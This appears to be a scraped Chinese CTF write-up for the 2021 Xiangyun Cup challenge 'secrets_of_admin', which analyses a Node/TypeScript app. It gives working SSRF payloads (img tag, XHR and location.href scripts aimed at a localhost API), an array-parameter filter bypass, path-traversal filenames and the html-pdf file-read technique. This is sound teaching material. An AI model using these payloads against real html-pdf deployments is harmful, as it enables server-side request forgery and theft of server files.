当前位置: 首页 > news >正文

网站如何做前后端分离seo超级外链

网站如何做前后端分离,seo超级外链,职业教育网站开发,wordpress带登陆主题[2021祥云杯]secrets_of_admin 文章目录[2021祥云杯]secrets_of_admin代码分析/的POST方式/admin的GET方式/admin的POST方式/api/files的GET方式/api/files/:id的GET方式database.ts信息处理解题方法通过img进行ssrf任意文件读取local.href参考链接代码分析 附件中有3个ts文件…

[2021祥云杯]secrets_of_admin

文章目录

  • [2021祥云杯]secrets_of_admin
    • 代码分析
      • /的POST方式
      • /admin的GET方式
      • /admin的POST方式
      • /api/files的GET方式
      • /api/files/:id的GET方式
      • database.ts
    • 信息处理
    • 解题方法
      • 通过img进行ssrf
      • 任意文件读取
      • local.href
    • 参考链接

代码分析

附件中有3个ts文件,我们主要分析index.ts,而databash.ts可以用来获取很多信息

按路由来分析

/的POST方式

/的POST方式,主要是传参username和password,调用DB.Login方法

router.post('/', async (req, res) => {let { username, password } = req.body;if ( username && password) {if ( username == '' || typeof(username) !== "string" || password == '' || typeof(password) !== "string" ) {return res.render('index', { error: 'Parameters error 👻'});}let data = await DB.Login(username, password)if(!data) {return res.render('index', { error : 'You are not admin 😤'});}res.cookie('token', {username: username,isAdmin: true }, { signed: true })res.redirect('/admin');} else {return res.render('index', { error : 'Parameters cannot be blank 😒'});}
})

而在这个DB.Login方法中会将传入的参数和数据库中的信息进行对比

static Login(username: string, password: string): Promise<any> {return new Promise((resolve, reject) => {db.get(`SELECT * FROM users WHERE username = ? AND password = ?`, username, password, (err , result ) => {if (err) return reject(err);resolve(result !== undefined);})})}

/admin的GET方式

/admin的GET方式,调用checkAuth方法

router.get('/admin', checkAuth, async (req, res) => {let token = req.signedCookies['token'];try {const files = await DB.listFile(token.username);if (files) {//将信息写入cookieres.cookie('token', {username: token.username, files: files, isAdmin: true }, { signed: true })}} catch (err) {return res.render('admin', { error: 'Something wrong ... 👻'})}return res.render('admin');
});

这个checkAuth方法的意思直白,就是检查username是否为superuser,意思就是禁止用户superuser

const checkAuth = (req: Request, res:Response, next:NextFunction) => {let token = req.signedCookies['token']if (token && token["username"]) {if (token.username === 'superuser'){next(createError(404)) // superuser is disabled since you can't even find it in database :)}if (token.isAdmin === true) {next();}else {return res.redirect('/')}} else {next(createError(404));}
}

检查username之后,会去获取token,接下来调用listFile方法,这个listFile方法,会根据传入的usename查询filename和checksum

static listFile(username: string): Promise<any> {return new Promise((resolve, reject) => {db.all(`SELECT filename, checksum FROM files WHERE username = ? ORDER BY filename`, username, (err, result) => {if (err) return reject(err);resolve(result);})})}

如果files存在,就将相关信息写入cookie

res.cookie('token', {username: token.username, files: files, isAdmin: true }, { signed: true })

/admin的POST方式

调用checkAuth方法禁止用户superuser

获取content,并且有waf,过滤了相关的关键词

router.post('/admin', checkAuth, (req, res, next) => {//获取contentlet { content } = req.body;//对content进行过滤,不允许为空,包含< > / script on if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){// even admin can't be trusted right ? :)  return res.render('admin', { error: 'Forbidden word 🤬'});} else {

然后将content放进html模板

else {//将content放进html模板中let template = `<html><meta charset="utf8"><title>Create your own pdfs</title><body><h3>${content}</h3></body></html>`

调用uuid()随机生成一个pdf,将这个pdf文件放在./files目录下

try {//随机生成一个pdf,然后将其送到files目录下const filename = `${uuid()}.pdf`pdf.create(template, {"format": "Letter","orientation": "portrait","border": "0","type": "pdf","renderDelay": 3000,"timeout": 5000}).toFile(`./files/${filename}`, async (err, _) => {if (err) next(createError(500));

调用getCheckSum方法,这个getCheckSum方法的作用是生成一段随机数

const getCheckSum = (filename: string): Promise<string> => {return new Promise((resolve, reject) => {const shasum = crypto.createHash('md5');try {const s = fs.createReadStream(path.join(__dirname , "../files/", filename));s.on('data', (data) => {shasum.update(data)})s.on('end', () => {return resolve(shasum.digest('hex'));})} catch (err) {reject(err)}})
}

根据filename生成随机数之后,又会将文件名和随机数一起存放到数据库中superuser用户所属下

在这里插入图片描述

/api/files的GET方式

首先判断remoteAddress是否为127.0.0.1,然后获取参数username , filename, checksum,利用DB.Create将username , filename, checksum写入数据库

router.get('/api/files', async (req, res, next) => {if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {return next(createError(401));}//参数赋值let { username , filename, checksum } = req.query;if (typeof(username) == "string" && typeof(filename) == "string" && typeof(checksum) == "string") {try {//将username,filename,checksum写入数据库 await DB.Create(username, filename, checksum)return res.send('Done')} catch (err) {return res.send('Error!')}} else {return res.send('Parameters error')}
});

/api/files/:id的GET方式

获取token,然后禁止superuser用户,调用DB.getFile方法去数据库中的files表查找filename,然后去访问这个文件,注意这里的文件路径是通过path.join进行拼接的,所以我们完全可以通过路径穿越去获取别的文件

router.get('/api/files/:id', async (req, res) => {let token = req.signedCookies['token']if (token && token['username']) {//禁止superuser用户使用if (token.username == 'superuser') {return res.send('Superuser is disabled now');   }try {//调用getFile方法去数据库中files表查找filenamelet filename = await DB.getFile(token.username, req.params.id)if (fs.existsSync(path.join(__dirname , "../files/", filename))){//访问该文件return res.send(await readFile(path.join(__dirname , "../files/", filename)));} else {return res.send('No such file!');}} catch (err) {return res.send('Error!');}} else {return res.redirect('/');}
});

database.ts

通过查看这个文件,我们可以得到很多有用的信息

数据库中有两个表usersfiles,还有表中的信息,比如admin的密码

INSERT INTO users (id, username, password) VALUES (1, 'admin','e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645');

flag信息在files表中,以及其对应的checksum也可以知道

INSERT INTO files (username, filename, checksum) VALUES ('superuser','flag','be5a14a8e504a66979f6938338b0662c');`);

信息处理

我们将得到的信息进行整合

  1. 通过数据库中admin的密码可以登录

  2. admin的GET方式可以将相关信息写入cookie,但是不允许superuser用户

  3. admin的POST方式可以传content,然后将content放入html代码中;然后生成pdf和对应的checksum随机数,并将filename和checksum存入数据库中files表superuser用户所属

  4. /api/files的GET方式只允许本机127.0.0.1访问,可以往files表中写数据,不受限制

  5. /api/files/:id可以访问从数据库中查filename,禁止superuser用户

  6. 我们想要的flag是superuser所属

通过admin的POST方式打SSRF,通过api/files往files中写数据,写的数据中filename最终可以执行flag

解题方法

登录

admin
e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645

在这里插入图片描述

因为对content进行了过滤,所以使用content[]进行绕过

在这里插入图片描述

这里的文件名称因为是UNIQUE,所以不能为flag

在这里插入图片描述

但是因为使用的是路径拼接,所以可以使用各种方法来进行绕过

./flag
ee/../flag
../files/flag

通过img进行ssrf

这里理解的是img标签会把src中的链接作为图片链接去自动加载,所以就相当于进行了网页请求

8888端口是因为从源码中,可以看到服务在8888端口上

在这里插入图片描述

<img src="http://127.0.0.1:8888/api/files?username=admin&filename=./flag&checksum=555" />

访问api/files/555,下载555文件,得到flag

在这里插入图片描述

任意文件读取

html-pdf库存在一个任意文件读取:

html-pdf before version 3.0.1 is vulnerable to Arbitrary File Read. The package fails to sanitize the HTML input, allowing attackers to exfiltrate server files by supplying malicious HTML code. XHR requests in the HTML code are executed by the server. Input with an XHR request such as request.open(“GET”,“file:///etc/passwd”) will result in a PDF document with the contents of /etc/passwd.

<script>
var xhr = new XMLHttpRequest();xhr.open("GET", "http://127.0.0.1:8888/api/files?username=admin&filename=./flag&checksum=123", true);xhr.send();
</script>

local.href

content[]=<script>location.href="http://127.0.0.1:8888/api/files?username=admin&filename=../files/flag&checksum=333";</script>

参考链接

  1. 祥云杯2021 Web复现_bfengj的博客-CSDN博客
  2. 祥云杯2021web writeup_Ank1e的博客-CSDN博客
  3. [2021祥云杯]secrets_of_admin writeup + TypeScript看看_shu天的博客-CSDN博客
http://www.lbrq.cn/news/2634805.html

相关文章:

  • 数学建模网站建设seo关键词首页排名代发
  • html5做网站的好处东莞网络推广托管
  • 建设电子商务网站的试卷怎么样把广告做在百度上
  • 烟台seo网站诊断长尾关键词挖掘工具
  • 佛山网站建设是哪个好上海疫情又要爆发了
  • 最近做国际网站怎么样免费建立个人网站
  • 哪些网站做面试题seo站长优化工具
  • 做淘推广的网站上海百度推广
  • asp与java做网站效果今天国内最新消息
  • 报名网站如何做优化优化
  • 建设网站的价值全国最新疫情最新消息
  • 猪八戒网站做推广靠谱百度推广登录账号首页
  • 如何做漂亮的网站首页建网站软件工具
  • crm管理是什么意思厦门关键词排名seo
  • 网站脚本怎么做站长查询域名
  • qq赞网站推广免费百度软件商店
  • 专业商城网站建设报价免费外网加速器
  • 常州城乡建设学校网站优化营商环境条例心得体会
  • 钦州建设网站免费加客源
  • ps软件免费seo教育
  • 深圳加盟网站建设seo工作职责
  • 自己建的网站可以用笔记本做服务器吗站长工具站长之家官网
  • 做网站用虚拟机还是服务器seo赚钱培训课程
  • 我的网站为什么广州百度网站推广
  • wordpress请求汤阴县seo快速排名有哪家好
  • 郑州专业的网站建设公司哪家好什么是seo什么是sem
  • mooc网站开发流程图全国疫情一览表
  • 在婚恋网站做翻译好吗重庆关键词seo排名
  • 网站首页跳出弹窗google入口
  • 淘宝客网站开发服务商怎么提交百度收录
  • Java-反射
  • 【网络编程】IO多路转接——select
  • 嵌入式硬件中MOSFET基本原理与实现
  • 【算法训练营Day21】回溯算法part3
  • Java 使用动态代理和反射实现字段变更跟踪
  • 自动驾驶系统的网络安全风险分析